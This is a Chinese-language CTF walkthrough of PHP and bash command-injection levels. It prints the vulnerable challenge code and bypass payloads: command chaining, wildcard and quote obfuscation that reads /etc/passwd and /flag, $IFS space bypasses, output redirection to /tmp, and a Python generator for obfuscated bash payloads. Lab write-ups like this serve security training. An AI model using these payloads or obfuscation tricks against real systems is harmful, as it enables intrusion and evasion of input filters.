1、level-0
不多说,本题不需要做,只是演示脚本执行的效果
$code = "include('flag.php');
echo 'This will get the flag by eval PHP code: '.\$flag;";
$bash = "echo 'This will get the flag by Linux bash command - cat /flag: ';cat /flag";
eval($code);
echo "<br>";
system($bash);
highlight_file(__FILE__);
?>

2、level-1
本题不多说,直接传参

3、level-2
使用GET方式传递参数action,当值为r时摧毁session重置选择的函数,当值为submit时,随机选择一个函数来调用
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
function get_fun(){
$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>
因此我们只要不断尝试就可以拿到可用函数,后面步骤老生常谈

4、level-3
本题没有什么,直接POST传参即可
system($_POST['a']);
highlight_file(__FILE__);
?>

5、level-4
本题主要是命令分隔符的知识点
&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test
||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo "Directory not found"
&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo "This will run immediately."
;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo "Hello" ; echo "World"
以GET传入ip值,即可实现ping命令,同时使用命令分隔符执行其他命令即可

6、level-5
本题是一些简单的绕过,主要是
在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。
*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。
通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:
system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
本题是过滤了 /flag/

或是

7、level-6
本题主要是对上一题绕过的加强
function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
几乎能用的都过滤了,只留了一个 a ,够狠的,但是注意到问号没有过滤,那么我们尝试linux系统中用于base64 编码的命令行 /bin/base64 ,使用?进行模糊匹配
?cmd=/???/?a??64 /??a?
其实就是 /bin/base64 /flag 看起来有点奇怪,这样做的前提是,除去?之外的字符要能够唯一匹配到文件

解码得到flag

8、level-7
本题是空格过滤,我们可以使用 %09 $IFS ${IFS} $9 等方法来绕过,同时使用通配符绕过 /flag 过滤
function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>

9、level-8
本题不会有任何回显
function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
我们同时利用重定向符和命令控制符 ; 的命令执行前后顺序的特性,将 /flag 的内容写入到一个临时文件中,再查看这个文件
?cmd=cat /flag>/tmp/flag.txt;cat /tmp/flag.txt;
为什么利用 /tmp 目录是因为该目录下的所有文件所有人可读可写

10、level-9
本题利用了 bash 终端的特性,即利用的是在终端中,$’\xxx’可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$’\xxx\xxx\xxx\xxx’的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如”ls -l”也就是$’\154\163\40\55\154′ 只能拆分为$’\154\163′ 空格 $’\55\154’三部分。
那么我们使用python脚本来生成命令
# 定义一个函数,用于统计字符串中使用的字符集等信息
def info(s):
total = 0
used_chars = set()
for c in s:
if c.isprintable() and c not in used_chars:
total += 1
used_chars.add(c)
return "字符集 : " + ' '.join(sorted(used_chars)) + '\n' + f"使用字符总数: {total}" + '\n' + "原始命令长度 = " + str(
len(s)) + '\n' + "生成的载荷 = " + s + '\n' + "---------------------------"
# 定义一个函数,将字符的 ASCII 值转换为八进制字符串
def get_oct(c):
return (oct(ord(c)))[2:]
# 定义一个函数,生成普通的八进制编码载荷
def common_otc(cmd):
payload = '$\''
for c in cmd:
if c == ' ':
payload += '\' $\''
else:
payload += '\\' + get_oct(c)
payload += '\''
return info(payload)
# 定义一个函数,生成 bashfuck_x 形式的载荷
def bashfuck_x(cmd, form):
bash_str = ''
for c in cmd:
bash_str += f'\\\\$(($((1<<1))#{bin(int(get_oct(c)))[2:]}))'
payload_bit = bash_str
payload_zero = bash_str.replace('1', '${##}') # 用 ${##} 来替换 1
payload_c = bash_str.replace('1', '${##}').replace('0', '${#}') # 用 ${#} 来替换 0
if form == 'bit':
payload_bit = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_bit + '\\\''
return info(payload_bit)
elif form == 'zero':
payload_zero = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_zero + '\\\''
return info(payload_zero)
elif form == 'c':
payload_c = '${!#}<<<${!#}\\<\\<\\<\\$\\\'' + payload_c + '\\\''
return info(payload_c)
# 定义一个函数,生成 bashfuck_y 形式的载荷
def bashfuck_y(cmd):
oct_list = [ # 构造数字 0-7 以便于后续八进制形式的构造
'$(())', # 0
'$((~$(($((~$(())))$((~$(())))))))', # 1
'$((~$(($((~$(())))$((~$(())))$((~$(())))))))', # 2
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 3
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 4
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 5
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 6
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 7
]
bashFuck = ''
bashFuck += '__=$(())' # 设置 __ 为 0
bashFuck += '&&' # 拼接
bashFuck += '${!__}<<<${!__}\\<\\<\\<\\$\\\'' # 得到 'sh'
for c in cmd:
bashFuck += '\\\\'
for i in get_oct(c):
bashFuck += oct_list[int(i)]
bashFuck += '\\\''
return info(bashFuck)
# 定义一个函数,生成各种形式的载荷
def Generate(cmd):
print("命令: " + cmd)
print("生成的载荷如下:")
print(common_otc(cmd))
print(bashfuck_x(cmd, 'bit'))
print(bashfuck_x(cmd, 'zero'))
print(bashfuck_x(cmd, 'c'))
print(bashfuck_y(cmd))
# 主函数
def main():
print("本程序用于为 Bash 生成执行给定命令的载荷。程序利用 Bash 的算术和参数扩展功能,生成不同形式的载荷,以提高绕过的机会。")
cmd = input("请输入你的命令:")
Generate(cmd)
if __name__ == '__main__':
main()
接下来就没什么好说的了,直接执行命令即可
